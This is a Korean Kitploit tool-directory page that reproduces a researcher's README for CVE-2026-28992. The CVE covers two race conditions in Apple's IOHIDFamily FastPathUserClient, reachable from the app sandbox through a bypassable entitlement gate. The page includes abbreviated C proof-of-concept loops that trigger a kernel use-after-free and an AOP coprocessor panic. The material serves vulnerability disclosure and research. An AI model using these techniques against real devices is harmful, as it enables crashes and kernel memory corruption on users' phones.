Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions — IOHIDEventServiceFastPathUserClient의 UAF 및 AOP 보조 프로세서 패닉. Entitlements가 필요하지 않으며, 앱 샌드박스에서 도달 가능합니다. | Kitploit
도구/GitHubGitHub/0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions
Privilege EscalationiOS SecurityVulnerability AnalysisExploitationPenetration TestingMobile SecurityRed TeamingBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
0xjohnnydev/cve-2026-28992-iohidfamily-fastpathuserclient-race-conditions

CVE-2026-28992-IOHIDFamily-FastPathUserClient-Race-Conditions

IOHIDEventServiceFastPathUserClient의 UAF 및 AOP 보조 프로세서 패닉. Entitlements가 필요하지 않으며, 앱 샌드박스에서 도달 가능합니다.

저장소 보기
133351개월 전아직 검토되지 않음

CVE-2026-28992: IOHIDFamily FastPathUserClient 경쟁 조건

CVE-2026-28992 | 작성자: Johnny Franks (@0xjohnny)

구성 요소: IOHIDFamily

영향: 공격자가 예기치 않은 앱 종료를 유발할 수 있음

설명: 향상된 잠금을 통해 메모리 손상 취약점이 해결되었습니다.

— Apple 보안 콘텐츠, iOS 26.5 및 iPadOS 26.5

두 PoC 모두 영향을 받는 기기에서 커널 패닉과 재부팅을 유발합니다. 먼저 작업을 저장하세요.

IOHIDEventServiceFastPathUserClient (IOHIDFamily kext)에 두 가지 경쟁 조건이 존재합니다. 엔타이틀먼트가 필요하지 않습니다. 일반 앱 샌드박스에서 도달 가능합니다.

두 벡터 모두 IOServiceOpen(service, task, 2, &conn)을 사용합니다. sel0 오픈 게이트는 initWithTask 중에 저장된 엔타이틀먼트 플래그 대신 호출자가 제공한 OSDictionary에서 FastPathHasEntitlement와 FastPathMotionEventEntitlement를 검사합니다. 샌드박스된 앱은 입력 구조체에 해당 키를 포함시켜 게이트를 통과합니다.

UAF — copyEvent 경쟁 조건

// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
    IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}

// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
    IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
    IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}

// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
    uint64_t args[2] = { 0, 1 };
    IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}

close 경로(sel1)는 provider 상태를 해제하고 잠금 없이 +0x109를 지웁니다. copyEvent(sel2)는 연결별 잠금 하에 다른 플래그(+0x108)를 검사한 후 provider를 호출합니다. 동일한 provider에 대한 여러 연결은 close와 copyEvent가 공유 provider 측 객체에서 서로 다른 잠금 도메인에서 동작함을 의미합니다.

AOP 패닉 — 종료 경쟁 조건

// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
    IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
    IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// opener threads: continuous close → reopen
while (!stop) {
    IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
    IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}

// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
    // create + gate 16 probe connections
    io_connect_t probes[16];
    for (int i = 0; i < 16; i++) {
        IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
        IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
    }

    // destroy all probes — each fires async didTerminate → teardown
    // teardown removes/frees provider-facing state while opener threads iterate
    // provider-facing state via the open path
    for (int i = 0; i < 16; i++)
        mach_port_destroy(mach_task_self(), probes[i]);

    usleep(80000); // 80ms race window
}

mach_port_destroy는 비동기 didTerminate → close/teardown을 트리거하며, 다른 연결의 동시 sel0 오픈 경로와 동기화되지 않습니다. 이는 또한 SPU 기반 provider의 mailbox를 포화시켜 AOP 워치독 타임아웃을 유발합니다.

내용물

경로설명
UAFPoc/iOS 앱 — UAF를 트리거함 (A17+에서 MTE 태그 폴트, A17 이전에서 데이터 중단)
AOPPanicPoc/iOS 앱 — SPU mailbox 포화를 통해 AOP 코프로세서 패닉을 트리거함
panic-logs/mte-tag-fault.ips커널 태그 검사 폴트 — iPhone 17 Pro Max (A19 Pro, MTE+PAC)
panic-logs/ipad-data-abort.ips커널 데이터 중단 — iPad Pro 12.9" 2세대 (A10X, MTE/PAC 없음)
panic-logs/aop-panic.ipsAOP 코프로세서 패닉 — iPhone 17 Pro Max (SPU mailbox 오버플로)
도구 다운로드